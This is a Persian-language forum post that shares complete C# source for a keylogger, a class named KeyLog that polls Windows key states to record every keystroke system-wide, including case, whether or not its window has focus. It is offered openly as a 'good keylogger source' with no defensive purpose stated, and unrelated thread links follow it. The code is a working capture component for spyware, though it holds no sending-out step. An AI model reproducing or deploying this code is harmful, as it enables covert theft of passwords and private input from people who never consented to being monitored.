کد کلاگیر به زیان سی شارپ

نویسنده mohammad a, بعد از ظهر 22:05:55 - 11/07/11

« اموزش پرل از ابتدا تا انتها | اموزش نصب SQL Server 2008 »

0 اعضا و 1 مهمان درحال دیدن موضوع.

mohammad a

یک سورس خوب کلاگیر با زبان سی شارپ
* Name: KeyLog.cs
* Version: 1.1
* Date: 2009
* Description:
* Gets the key pressed by the user, whether the form has focus or not.
* It can detect Shift/Control/CapsLock, which means it can detect upper/lower case.
* However this version does not detect special characters or the Alt key (still to do).
* Copyright:
* Developed by Carlos Raposo.
* crwld.org @ 2009
* This work is licenced under a Creative Commons Licence.
* Please refer to: creativecommons.org/licenses/by-nc-sa/3.0/ for more information. */

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

using System.Windows.Forms;
using System.Runtime.InteropServices;

public class KeyLog
{
    //-> Declare GetAsyncKeyState().
    [DllImport("User32.dll")]
    private static extern short GetAsyncKeyState(Keys vKey); //To check the current status of a virtual key.
    [DllImport("user32.dll")]
    private static extern short GetAsyncKeyState(Int32 vKey); //To check the current status of a virtual key.
    [DllImport("user32.dll")]
    private static extern short GetKeyState(Keys vKey); //To check if a key is currently toggled (on/off).
    [DllImport("user32.dll")]
    private static extern short GetKeyState(Int32 vKey); //To check if a key is currently toggled (on/off).

    //-> getKey() checks what keys have been pressed and returns the pressed keys, if any.
    //-> Otherwise, returns null.
    //-> The pressed keys are returned in a List<string> as (string)char/key name.
    public List<string> getKey()
    {
        List<string> myKeys = new List<string>(); //Declare the list of keys as int.
        for (int i = 0; i <= 255; i++) //Go through all key codes to check if any key is pressed.
        {
            int j = GetAsyncKeyState(i); //Get state of key i.
            if (j == -32767) //Check if key is pressed.
            {
                if (i >= 65 && i <= 122) //From char 65 to 122
                {
                    if (ShiftKey && CapsLock) //If Shift and CapsLock are toggled.
                        myKeys.Add(((char)(i + 32)).ToString()); //Lower case.
                    else if (ShiftKey) //If Shift or CapsLock is toggled.
                        myKeys.Add(((char)(i)).ToString()); //Upper case.
                    else if (CapsLock) //If Shift or CapsLock is toggled.
                        myKeys.Add(((char)(i)).ToString()); //Upper case.
                    else //Any other situation.
                        myKeys.Add(((char)(i + 32)).ToString()); //Lower case.
                }
                else if (i >= 48 && i <= 57) //From char 48 to 57
                {
                    if (ShiftKey) //If Shift is toggled.
                        myKeys.Add(((char)(i - 16)).ToString()); //Symbols.
                    else //If Shift is not toggled.
                        myKeys.Add(((char)(i)).ToString()); //Numbers.
                }
                else
                    myKeys.Add(Enum.GetName(typeof(Keys), i)); //Any other situation.

                //Check keys toggled
                if (ShiftKey && !(myKeys.Contains(Keys.ShiftKey.ToString())))
                    myKeys.Add(Keys.ShiftKey.ToString()); //Add 'ShiftKey' if enabled.
                if (ShiftKeyL && !(myKeys.Contains(Keys.LShiftKey.ToString())))
                    myKeys.Add(Keys.LShiftKey.ToString()); //Add 'LShiftKey' if enabled.
                if (ShiftKeyR && !(myKeys.Contains(Keys.RShiftKey.ToString())))
                    myKeys.Add(Keys.RShiftKey.ToString()); //Add 'RShiftKey' if enabled.
                if (ControlKey && !(myKeys.Contains(Keys.ControlKey.ToString())))
                    myKeys.Add(Keys.ControlKey.ToString()); //Add 'ControlKey' if enabled.
                if (ControlKeyL && !(myKeys.Contains(Keys.LControlKey.ToString())))
                    myKeys.Add(Keys.LControlKey.ToString()); //Add 'LControlKey' if enabled.
                if (ControlKeyR && !(myKeys.Contains(Keys.RControlKey.ToString())))
                    myKeys.Add(Keys.RControlKey.ToString()); //Add 'RControlKey' if enabled.
                if (AltKey && !(myKeys.Contains(Keys.Menu.ToString())))
                    myKeys.Add(Keys.Menu.ToString()); //Add 'Menu' (Alt key) if enabled.
                if (AltKeyL && !(myKeys.Contains(Keys.LMenu.ToString())))
                    myKeys.Add(Keys.LMenu.ToString()); //Add 'LMenu' if enabled.
                if (AltKeyR && !(myKeys.Contains(Keys.RMenu.ToString())))
                    myKeys.Add(Keys.RMenu.ToString()); //Add 'RMenu' if enabled.
                if (CapsLock && (!(myKeys.Contains(Keys.CapsLock.ToString())) && !(myKeys.Contains(Keys.CapsLock.ToString() + "[Enabled]"))))
                    myKeys.Add(Keys.CapsLock.ToString() + "[Enabled]"); //Add 'CapsLock[Enabled]' if enabled.
                if (NumLock && (!(myKeys.Contains(Keys.NumLock.ToString())) && !(myKeys.Contains(Keys.NumLock.ToString() + "[Enabled]"))))
                    myKeys.Add(Keys.NumLock.ToString() + "[Enabled]"); //Add 'NumLock' if enabled.
            }
        }

        return myKeys; //Return the list.
    }

    //-> Get keys toogle state (on/off).
    #region Toggles
    public static bool ControlKey
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey)); }
    }
    public static bool ControlKeyL
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LControlKey)); }
    }
    public static bool ControlKeyR
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RControlKey)); }
    }
    public static bool ShiftKey
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)); }
    }
    public static bool ShiftKeyL
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LShiftKey)); }
    }
    public static bool ShiftKeyR
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RShiftKey)); }
    }
    public static bool AltKey
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu)); }
    }
    public static bool AltKeyL
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LMenu)); }
    }
    public static bool AltKeyR
    {
        get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RMenu)); }
    }
    public static bool CapsLock
    {
        get { return Convert.ToBoolean(GetKeyState(Keys.CapsLock)); }
    }
    public static bool NumLock
    {
        get { return Convert.ToBoolean(GetKeyState(Keys.NumLock)); }
    }
    #endregion
}

Tags:

Share via facebook Share via linkedin Share via telegram Share via twitter Share via whatsapp

https://www.meta4u.com/forum/Themes/Comet/images/post/xx.png
آموزش سی شارپ – انواع داده در سی شارپ

نویسنده developzoom در زبان های برنامه نویسی

0 ارسال
722 مشاهده
آخرین ارسال: قبل از ظهر 00:39:51 - 07/08/16
توسط
developzoom
https://www.meta4u.com/forum/Themes/Comet/images/post/clip.png
اثرات زیان بار مواد آرایشی

نویسنده Zohreh Gholami در زیبایی , تناسب اندام , تندرستی

0 ارسال
1783 مشاهده
آخرین ارسال: بعد از ظهر 17:12:10 - 09/15/11
توسط
Zohreh Gholami
https://www.meta4u.com/forum/Themes/Comet/images/post/xx.png
*کالا - پول - زیان Commodity - Money - Loss*

نویسنده Amir Shahbazzadeh در مقالات علوم اقتصادی, Economy Articles

0 ارسال
2343 مشاهده
آخرین ارسال: قبل از ظهر 11:42:58 - 06/28/11
توسط
Amir Shahbazzadeh
https://www.meta4u.com/forum/Themes/Comet/images/post/clip.png
نمونه یرنامه های سی شارپ

نویسنده mohammad a در زبان های برنامه نویسی

0 ارسال
955 مشاهده
آخرین ارسال: بعد از ظهر 21:50:04 - 11/07/11
توسط
mohammad a
https://www.meta4u.com/forum/Themes/Comet/images/post/clip.png
دانلود بازی مار و پله با سی شارپ, C#

نویسنده Zohreh Gholami در مقالات کامپیوتر, Computer Articles

0 ارسال
3564 مشاهده
آخرین ارسال: قبل از ظهر 10:00:17 - 11/21/11
توسط
Zohreh Gholami
https://www.meta4u.com/forum/Themes/Comet/images/post/xx.png
دانلود پروژه تشخیص چهره در زبان سی شارپ, face detecton

نویسنده Zohreh Gholami در دانلود سنتر بخش کامپیوتر

0 ارسال
2987 مشاهده
آخرین ارسال: قبل از ظهر 08:19:31 - 01/14/12
توسط
Zohreh Gholami